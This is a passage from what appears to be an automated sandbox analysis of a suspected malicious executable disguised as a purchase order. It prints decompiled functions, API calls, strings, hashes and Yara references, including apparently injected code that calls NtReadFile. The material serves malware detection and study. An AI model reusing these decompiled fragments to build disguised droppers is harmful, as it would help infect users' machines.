				E004059FF(_t18, _t24, _t26, 0x40af70,  *((intOrPtr*)(_t28 - 0x20)));
				_t14 = CreateFontIndirectA(0x40af54);
				_push(_t14);
				_push(_t26);
				E0040593B();
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t28 - 4));
				return 0;
			}

0x00401d29
0x00401d42
0x00401d4c
0x00401d51
0x00401d5c
0x00401d63
0x00401d75
0x00401d7b
0x00401d80
0x00401d8a
0x004024b8
0x00401561
0x00402833
0x0040288e
0x0040289a

APIs

GetDC.USER32(?), ref: 00401D22
GetDeviceCaps.GDI32(00000000), ref: 00401D29
MulDiv.KERNEL32(00000000,00000002,00000000), ref: 00401D38
CreateFontIndirectA.GDI32(0040AF54), ref: 00401D8A

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CapsCreateDeviceFontIndirect
String ID:
API String ID: 3272661963-0
Opcode ID: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction ID: 822a585a95499be2ccb46a886614a983d19f7779af01092212c1c8a44adbdb5d
Opcode Fuzzy Hash: 78f79da71c4801185515a33ee10eecec6988933ac577fdebba6a0d8b1e27de8a
Instruction Fuzzy Hash: 80F04FF1A49742AEE70167B0AE0AB9A3B659719306F14043AF242BA1E2C5BC0454DB7F

Uniqueness

Uniqueness Score: -1.00%

Function 00402BBE, Relevance: 6.0, APIs: 4, Instructions: 33
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00402BBE(intOrPtr _a4) {
				long _t2;
				struct HWND__* _t3;
				struct HWND__* _t6;

				if(_a4 == 0) {
					__eflags =  *0x417020; // 0x0
					if(__eflags == 0) {
						_t2 = GetTickCount();
						__eflags = _t2 -  *0x423e8c;
						if(_t2 >  *0x423e8c) {
							_t3 = CreateDialogParamA( *0x423e80, 0x6f, 0, E00402B3B, 0);
							 *0x417020 = _t3;
							return ShowWindow(_t3, 5);
						}
						return _t2;
					} else {
						return E00405D38(0);
					}
				} else {
					_t6 =  *0x417020; // 0x0
					if(_t6 != 0) {
						_t6 = DestroyWindow(_t6);
					}
					 *0x417020 = 0;
					return _t6;
				}
			}

0x00402bc5
0x00402bdf
0x00402be5
0x00402bef
0x00402bf5
0x00402bfb
0x00402c0c
0x00402c15
0x00000000
0x00402c1a
0x00402c21
0x00402be7
0x00402bee
0x00402bee
0x00402bc7
0x00402bc7
0x00402bce
0x00402bd1
0x00402bd1
0x00402bd7
0x00402bde
0x00402bde

APIs

DestroyWindow.USER32(00000000,00000000,00402D9E,00000001), ref: 00402BD1
GetTickCount.KERNEL32 ref: 00402BEF
CreateDialogParamA.USER32(0000006F,00000000,00402B3B,00000000), ref: 00402C0C
ShowWindow.USER32(00000000,00000005), ref: 00402C1A

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction ID: f2d052a30a3472248e345e5832336eca953f0b1533712f6c56216133e551431f
Opcode Fuzzy Hash: bf07767b331bb76d3b5a2f8e5622a218379b171e4cdb58aec93dcc8b8375aee9
Instruction Fuzzy Hash: 2AF0DA31D09320ABC661AF14FD4CADB7B75BB09B127014936F101B52E8D77868818BAD

Uniqueness

Uniqueness Score: -1.00%

Function 004037EF, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004037EF(void* __ecx, void* __eflags) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed short _t6;
				intOrPtr _t11;
				signed int _t13;
				signed int _t16;
				signed short* _t18;
				signed int _t20;
				signed short* _t23;
				intOrPtr _t25;
				signed int _t26;
				intOrPtr* _t27;

				_t24 = "1033";
				_t13 = 0xffff;
				_t6 = E00405954(__ecx, "1033");
				while(1) {
					_t26 =  *0x423ec4;
					if(_t26 == 0) {
						goto L7;
					}
					_t16 =  *( *0x423e90 + 0x64);
					_t20 =  ~_t16;
					_t18 = _t16 * _t26 +  *0x423ec0;
					while(1) {
						_t18 = _t18 + _t20;
						_t26 = _t26 - 1;
						if((( *_t18 ^ _t6) & _t13) == 0) {
							break;
						}
						if(_t26 != 0) {
							continue;
						}
						goto L7;
					}
					 *0x423660 = _t18[1];
					 *0x423f28 = _t18[3];
					_t23 =  &(_t18[5]);
					if(_t23 != 0) {
						 *0x42365c = _t23;
						E0040593B(_t24,  *_t18 & 0x0000ffff);
						SetWindowTextA( *0x420450, E004059FF(_t13, _t24, _t26, 0x423680, 0xfffffffe));
						_t11 =  *0x423eac;
						_t27 =  *0x423ea8;
						if(_t11 == 0) {
							L15:
							return _t11;
						}
						_t25 = _t11;
						do {
							_t11 =  *_t27;
							if(_t11 != 0) {
								_t11 = E004059FF(_t13, _t25, _t27, _t27 + 0x18, _t11);
							}
							_t27 = _t27 + 0x418;
							_t25 = _t25 - 1;
						} while (_t25 != 0);
						goto L15;
					}
					L7:
					if(_t13 != 0xffff) {
						_t13 = 0;
					} else {
						_t13 = 0x3ff;
					}
				}
			}

0x004037f3
0x004037f8
0x004037fe
0x00403803
0x00403803
0x0040380b
0x00000000
0x00000000
0x00403813
0x0040381b
0x0040381d
0x00403823
0x00403823
0x00403825
0x00403831
0x00000000
0x00000000
0x00403835
0x00000000
0x00000000
0x00000000
0x00403837
0x0040383c
0x00403845
0x0040384b
0x00403850
0x00403864
0x0040386f
0x00403887
0x0040388d
0x00403892
0x0040389a
0x004038bb
0x004038bb
0x004038bb
0x0040389c
0x0040389e
0x0040389e
0x004038a2
0x004038a9
0x004038a9
0x004038ae
0x004038b4
0x004038b4
0x00000000
0x0040389e
0x00403852
0x00403857
0x00403860
0x00403859
0x00403859
0x00403859
0x00403857

APIs

SetWindowTextA.USER32(00000000,00423680), ref: 00403887

Strings

1033, xrefs: 004037F3, 004037FD, 0040386E
C:\Users\user\AppData\Local\Temp\, xrefs: 004037F0

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: TextWindow
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 530164218-517883005
Opcode ID: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction ID: 1abde7c3b4d11e9a2e55591403c44a3397e590d434b7b54f33d2a439c9831bdd
Opcode Fuzzy Hash: 809311cf63a270f3da3981a90469c0860d530fe9ed693af6c887377ad56b97b2
Instruction Fuzzy Hash: 0711C276B002119BC730AF55D8809377BADEF4471631981BFE80167390C73D9E028B98

Uniqueness

Uniqueness Score: -1.00%

Function 00404CCB, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 58
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404CCB(struct HWND__* _a4, int _a8, int _a12, long _a16) {
				long _t22;

				if(_a8 != 0x102) {
					if(_a8 != 0x200) {
						_t22 = _a16;
						L7:
						if(_a8 == 0x419 &&  *0x420460 != _t22) {
							 *0x420460 = _t22;
							E004059DD(0x420478, 0x424000);
							E0040593B(0x424000, _t22);
							E0040140B(6);
							E004059DD(0x424000, 0x420478);
						}
						L11:
						return CallWindowProcA( *0x420468, _a4, _a8, _a12, _t22);
					}
					if(IsWindowVisible(_a4) == 0) {
						L10:
						_t22 = _a16;
						goto L11;
					}
					_t22 = E0040464A(_a4, 1);
					_a8 = 0x419;
					goto L7;
				}
				if(_a12 != 0x20) {
					goto L10;
				}
				E00403DDB(0x413);
				return 0;
			}

0x00404cd7
0x00404cfc
0x00404d1c
0x00404d1f
0x00404d22
0x00404d39
0x00404d3f
0x00404d46
0x00404d4d
0x00404d54
0x00404d59
0x00404d5f
0x00000000
0x00404d6f
0x00404d09
0x00404d5c
0x00404d5c
0x00000000
0x00404d5c
0x00404d15
0x00404d17
0x00000000
0x00404d17
0x00404cdd
0x00000000
0x00000000
0x00404ce4
0x00000000

APIs

IsWindowVisible.USER32(?), ref: 00404D01
CallWindowProcA.USER32 ref: 00404D6F

Part of subcall function 00403DDB: SendMessageA.USER32(?,00000000,00000000,00000000), ref: 00403DED

Strings

, xrefs: 00404CD9

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction ID: 2250b5ae86c5db7695da18b81197a994f129f58ca555af08ca8730d1192fac1c
Opcode Fuzzy Hash: 7ef91977e0255b1fc34b6530065b048aeb6426da5fc65d298478046c2303bded
Instruction Fuzzy Hash: 5A118CB1600208BBDF217F629C4099B3B69EF84765F00813BFB14392A2C77C8951CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004024BE, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34
filestringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004024BE(struct _OVERLAPPED* __ebx, intOrPtr* __esi) {
				int _t5;
				long _t7;
				struct _OVERLAPPED* _t11;
				intOrPtr* _t15;
				void* _t17;
				int _t21;

				_t15 = __esi;
				_t11 = __ebx;
				if( *((intOrPtr*)(_t17 - 0x1c)) == __ebx) {
					_t7 = lstrlenA(E004029F6(0x11));
				} else {
					E004029D9(1);
					 *0x409f50 = __al;
				}
				if( *_t15 == _t11) {
					L8:
					 *((intOrPtr*)(_t17 - 4)) = 1;
				} else {
					_t5 = WriteFile(E00405954(_t17 + 8, _t15), "C:\Users\jones\AppData\Local\Temp\nspE538.tmp\System.dll", _t7, _t17 + 8, _t11);
					_t21 = _t5;
					if(_t21 == 0) {
						goto L8;
					}
				}
				 *0x423f08 =  *0x423f08 +  *((intOrPtr*)(_t17 - 4));
				return 0;
			}

0x004024be
0x004024be
0x004024c1
0x004024dc
0x004024c3
0x004024c5
0x004024ca
0x004024d1
0x004024e3
0x0040265c
0x0040265c
0x004024e9
0x004024fb
0x004015a6
0x004015a8
0x00000000
0x004015ae
0x004015a8
0x0040288e
0x0040289a

APIs

lstrlenA.KERNEL32(00000000,00000011), ref: 004024DC
WriteFile.KERNEL32(00000000,?,C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll,00000000,?,?,00000000,00000011), ref: 004024FB

Strings

C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll, xrefs: 004024CA, 004024EF

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: FileWritelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nspE538.tmp\System.dll
API String ID: 427699356-1697960658
Opcode ID: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction ID: 28baf68bc3b2ef7cd727d17ca875bc327529d04ff6cae4c8aacaeccaaba980a4
Opcode Fuzzy Hash: df474f2c717a3cfcee664a55503633412dfe168159680f8467c13f76ba73a4c8
Instruction Fuzzy Hash: 5AF0B4B2A04241FBDB40BBA09E49AAE37689B00348F10443BA206F51C2D6BC4982A76D

Uniqueness

Uniqueness Score: -1.00%

Function 00403491, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00403491() {
				void* _t2;
				void* _t3;
				void* _t6;
				void* _t8;

				_t8 =  *0x41f434;
				_t3 = E00403476(_t2, 0);
				if(_t8 != 0) {
					do {
						_t6 = _t8;
						_t8 =  *_t8;
						FreeLibrary( *(_t6 + 8));
						_t3 = GlobalFree(_t6);
					} while (_t8 != 0);
				}
				 *0x41f434 =  *0x41f434 & 0x00000000;
				return _t3;
			}

0x00403492
0x0040349a
0x004034a1
0x004034a4
0x004034a4
0x004034a6
0x004034ab
0x004034b2
0x004034b8
0x004034bc
0x004034bd
0x004034c5

APIs

FreeLibrary.KERNEL32(?,"C:\Users\user\Desktop\PO# 0499699.exe" ,00000000,00000000,00403469,004032BC,00000000), ref: 004034AB
GlobalFree.KERNEL32 ref: 004034B2

Strings

"C:\Users\user\Desktop\PO# 0499699.exe" , xrefs: 004034A3

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: Free$GlobalLibrary
String ID: "C:\Users\user\Desktop\PO# 0499699.exe"
API String ID: 1100898210-2118754593
Opcode ID: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction ID: 7bfc0464e02b508f879d35a29cae48101a6ab00b4f5f00e512934bdeb57274a8
Opcode Fuzzy Hash: 3e2f1a94e1730b0e2f77525ddf4d06804517b8e77a23c02aa7cd98468957b701
Instruction Fuzzy Hash: FBE08C3280653097C7221F05AE04B9AB66C6F94B22F068076E8407B3A1C3782C428AD8

Uniqueness

Uniqueness Score: -1.00%

Function 00405517, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405517(char* _a4) {
				char* _t3;
				char* _t5;

				_t5 = _a4;
				_t3 =  &(_t5[lstrlenA(_t5)]);
				while( *_t3 != 0x5c) {
					_t3 = CharPrevA(_t5, _t3);
					if(_t3 > _t5) {
						continue;
					}
					break;
				}
				 *_t3 =  *_t3 & 0x00000000;
				return  &(_t3[1]);
			}

0x00405518
0x00405522
0x00405524
0x0040552b
0x00405533
0x00000000
0x00000000
0x00000000
0x00405533
0x00405535
0x0040553a

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402C8E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO# 0499699.exe,C:\Users\user\Desktop\PO# 0499699.exe,80000000,00000003), ref: 0040551D
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402C8E,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\PO# 0499699.exe,C:\Users\user\Desktop\PO# 0499699.exe,80000000,00000003), ref: 0040552B

Strings

C:\Users\user\Desktop, xrefs: 00405517

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction ID: 1341b21386aa9ee456471dc2eb10899dbff8c866770b3e7d35d8712ddbbc4649
Opcode Fuzzy Hash: 49376fbf8c9c30057c1bc985cc011eea510fd351d3a644e674ee9e82abf7fe19
Instruction Fuzzy Hash: D9D0C7B2509DB06EE7035614DC04B9F7B89DF17710F1944A2E540A61D5D27C5D418BFD

Uniqueness

Uniqueness Score: -1.00%

Function 6FC610E0, Relevance: 5.1, APIs: 4, Instructions: 102
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E6FC610E0(void* _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				char* _t17;
				char _t19;
				void* _t20;
				void* _t24;
				void* _t27;
				void* _t31;
				void* _t37;
				void* _t39;
				void* _t40;
				signed int _t43;
				void* _t52;
				char* _t53;
				char* _t55;
				void* _t56;
				void* _t58;

				 *0x6fc6405c = _a8;
				 *0x6fc64060 = _a16;
				 *0x6fc64064 = _a12;
				 *((intOrPtr*)(_a20 + 0xc))( *0x6fc64038, E6FC61556, _t52);
				_t43 =  *0x6fc6405c +  *0x6fc6405c * 4 << 2;
				_t17 = E6FC6123B();
				_a8 = _t17;
				_t53 = _t17;
				if( *_t17 == 0) {
					L16:
					return GlobalFree(_a8);
				} else {
					do {
						_t19 =  *_t53;
						_t55 = _t53 + 1;
						_t58 = _t19 - 0x6c;
						if(_t58 > 0) {
							_t20 = _t19 - 0x70;
							if(_t20 == 0) {
								L12:
								_t53 = _t55 + 1;
								_t24 = E6FC61266(E6FC612AD( *_t55 - 0x30));
								L13:
								GlobalFree(_t24);
								goto L14;
							}
							_t27 = _t20;
							if(_t27 == 0) {
								L10:
								_t53 = _t55 + 1;
								_t24 = E6FC612D1( *_t55 - 0x30, E6FC6123B());
								goto L13;
							}
							L7:
							if(_t27 == 1) {
								_t31 = GlobalAlloc(0x40, _t43 + 4);
								 *_t31 =  *0x6fc64030;
								 *0x6fc64030 = _t31;
								E6FC61508(_t31 + 4,  *0x6fc64064, _t43);
								_t56 = _t56 + 0xc;
							}
							goto L14;
						}
						if(_t58 == 0) {
							L17:
							_t34 =  *0x6fc64030;
							if( *0x6fc64030 != 0) {
								E6FC61508( *0x6fc64064, _t34 + 4, _t43);
								_t37 =  *0x6fc64030;
								_t56 = _t56 + 0xc;
								GlobalFree(_t37);
								 *0x6fc64030 =  *_t37;
							}
							goto L14;
						}
						_t39 = _t19 - 0x4c;
						if(_t39 == 0) {
							goto L17;
						}
						_t40 = _t39 - 4;
						if(_t40 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L12;
						}
						_t27 = _t40;
						if(_t27 == 0) {
							 *_t55 =  *_t55 + 0xa;
							goto L10;
						}
						goto L7;
						L14:
					} while ( *_t53 != 0);
					goto L16;
				}
			}

0x6fc610e7
0x6fc610ef
0x6fc61103
0x6fc6110b
0x6fc61116
0x6fc61119
0x6fc61121
0x6fc61124
0x6fc61126
0x6fc611c4
0x6fc611d0
0x6fc6112c
0x6fc6112d
0x6fc6112d
0x6fc61130
0x6fc61131
0x6fc61134
0x6fc61203
0x6fc61206
0x6fc6119e
0x6fc611a4
0x6fc611ac
0x6fc611b1
0x6fc611b4
0x00000000
0x6fc611b4
0x6fc61209
0x6fc6120a
0x6fc61186
0x6fc6118c
0x6fc61194
0x00000000
0x6fc61194
0x6fc61152
0x6fc61153
0x6fc6115b
0x6fc61168
0x6fc61170
0x6fc61179
0x6fc6117e
0x6fc6117e
0x00000000
0x6fc61153
0x6fc6113a
0x6fc611d1
0x6fc611d1
0x6fc611d8
0x6fc611e5
0x6fc611ea
0x6fc611ef
0x6fc611f5
0x6fc611fb
0x6fc611fb
0x00000000
0x6fc611d8
0x6fc61140
0x6fc61143
0x00000000
0x00000000
0x6fc61149
0x6fc6114c
0x6fc6119b
0x00000000
0x6fc6119b
0x6fc6114f
0x6fc61150
0x6fc61183
0x00000000
0x6fc61183
0x00000000
0x6fc611ba
0x6fc611ba
0x00000000
0x6fc611c3

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6FC6115B
GlobalFree.KERNEL32 ref: 6FC611B4
GlobalFree.KERNEL32 ref: 6FC611C7
GlobalFree.KERNEL32 ref: 6FC611F5

Memory Dump Source

Source File: 00000000.00000002.656082299.000000006FC61000.00000020.00020000.sdmp, Offset: 6FC60000, based on PE: true

Associated: 00000000.00000002.656075127.000000006FC60000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656089514.000000006FC63000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.656098972.000000006FC65000.00000002.00020000.sdmp Download File

Similarity

API ID: Global$Free$Alloc
String ID:
API String ID: 1780285237-0
Opcode ID: b1bcb2c7158b4cba2359720892d04b816a612f45ca0886faf3f3c604add81e1d
Instruction ID: 9e5abc2094a5061ba4fd998cd37fd1624979b104f89c7f982830a9c810201896
Opcode Fuzzy Hash: b1bcb2c7158b4cba2359720892d04b816a612f45ca0886faf3f3c604add81e1d
Instruction Fuzzy Hash: 9F31E2B180C656AFEB018F7ED9D8A757FF9FB07A66B044516EA44C6260F734E810CB20

Uniqueness

Uniqueness Score: -1.00%

Function 00405629, Relevance: 5.0, APIs: 4, Instructions: 30
stringCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405629(CHAR* _a4, CHAR* _a8) {
				int _t10;
				int _t15;
				CHAR* _t16;

				_t15 = lstrlenA(_a8);
				_t16 = _a4;
				while(lstrlenA(_t16) >= _t15) {
					 *(_t15 + _t16) =  *(_t15 + _t16) & 0x00000000;
					_t10 = lstrcmpiA(_t16, _a8);
					if(_t10 == 0) {
						return _t16;
					}
					_t16 = CharNextA(_t16);
				}
				return 0;
			}

0x00405635
0x00405637
0x0040565f
0x00405644
0x00405649
0x00405654
0x00000000
0x00405671
0x0040565d
0x0040565d
0x00000000

APIs

lstrlenA.KERNEL32(00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405630
lstrcmpiA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405649
CharNextA.USER32(00000000,?,?,00000000,000000F1,?), ref: 00405657
lstrlenA.KERNEL32(00000000,00000000,?,00000000,00000000,00405837,00000000,[Rename],?,?,00000000,000000F1,?), ref: 00405660

Memory Dump Source

Source File: 00000000.00000002.653149213.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.653134628.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653166466.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.653175210.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653298414.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653322956.0000000000429000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.653364448.000000000042C000.00000002.00020000.sdmp Download File

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction ID: 25fbcb832c33ec4964fd827efed06e6d871dcd69bbe6b28132c6debe6a032c6a
Opcode Fuzzy Hash: 0108cf067d6f6d80c8ed850288af8a4b3b9133f156f8bdff26d83f0dd252fb59
Instruction Fuzzy Hash: 02F0A736249D51DBC2025B355C04E6FAA94EF92354B54097AF444F2251D33A98129BBF

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: PO# 0499699.exe PID: 7160 Parent PID: 7096 PO# 0499699.exeCOMMON

Executed Functions

Function 0041826A, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 37
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E0041826A(void* __ebx, intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t20;
				void* _t30;
				void* _t31;
				intOrPtr* _t32;
				void* _t34;

				asm("sbb dh, ch");
				 *((intOrPtr*)(__ebx - 0x74aa5821)) =  *((intOrPtr*)(__ebx - 0x74aa5821)) + __ebx;
				_t15 = _a4;
				_t32 = _a4 + 0xc48;
				E00418DC0(_t30, _a4, _t32,  *((intOrPtr*)(_t15 + 0x10)), 0, 0x2a);
				_t8 =  &_a32; // 0x413d52
				_t14 =  &_a8; // 0x413d52
				_t20 =  *((intOrPtr*)( *_t32))( *_t14, _a12, _a16, _a20, _a24, _a28,  *_t8, _a36, _a40, _t31, _t34); // executed
				return _t20;
			}

0x0041826a
0x0041826c
0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 00418292, 004182A0
R=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: 54fa68688075949ca5df1cc2edab08728c59ff943262ab59482c2c595b2214b5
Instruction ID: 5ce8d4acc6dd4ec9b1dd8582fd2d67504a7965059af19436b30b580ef186d664
Opcode Fuzzy Hash: 54fa68688075949ca5df1cc2edab08728c59ff943262ab59482c2c595b2214b5
Instruction Fuzzy Hash: F0F0F9B2204104AFCB04CF99DC94EEB77A9AF9C314F15864DFA1D97241D630E811CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00418270, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36
filenativeCOMMON

Download Yara Rule

C-Code - Quality: 37%

			E00418270(intOrPtr _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, char _a32, intOrPtr _a36, intOrPtr _a40) {
				void* _t18;
				void* _t27;
				intOrPtr* _t28;

				_t13 = _a4;
				_t28 = _a4 + 0xc48;
				E00418DC0(_t27, _t13, _t28,  *((intOrPtr*)(_t13 + 0x10)), 0, 0x2a);
				_t6 =  &_a32; // 0x413d52
				_t12 =  &_a8; // 0x413d52
				_t18 =  *((intOrPtr*)( *_t28))( *_t12, _a12, _a16, _a20, _a24, _a28,  *_t6, _a36, _a40); // executed
				return _t18;
			}

0x00418273
0x0041827f
0x00418287
0x00418292
0x004182ad
0x004182b5
0x004182b9

APIs

NtReadFile.NTDLL(R=A,5E972F59,FFFFFFFF,00413A11,?,?,R=A,?,00413A11,FFFFFFFF,5E972F59,00413D52,?,00000000), ref: 004182B5

Strings

R=A, xrefs: 00418292, 004182A0
R=A, xrefs: 004182AD, 004182B4

Memory Dump Source

Source File: 00000001.00000002.725915647.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Yara matches

Similarity

API ID: FileRead
String ID: R=A$R=A
API String ID: 2738559852-3742021989
Opcode ID: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction ID: 44195af4cfcd7844dc5464a96f27935e8bb9154da72c22cdf586d036b66e8624
Opcode Fuzzy Hash: d4a5a74702051ab3f1355cb9c04464ae45872bc81882c1ce62b08827cfd1deed
Instruction Fuzzy Hash: 8EF0A4B2200208ABCB14DF89DC81EEB77ADAF8C754F158649BA1D97241DA30E8518BA4

Uniqueness

Uniqueness Score: -1.00%

Function 00409B20, Relevance: 1.5, APIs: 1, Instructions: 48
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00409B20(void* __ebx, void* __eflags, void* _a4, intOrPtr _a8) {
				char* _v8;
				struct _EXCEPTION_RECORD _v12;
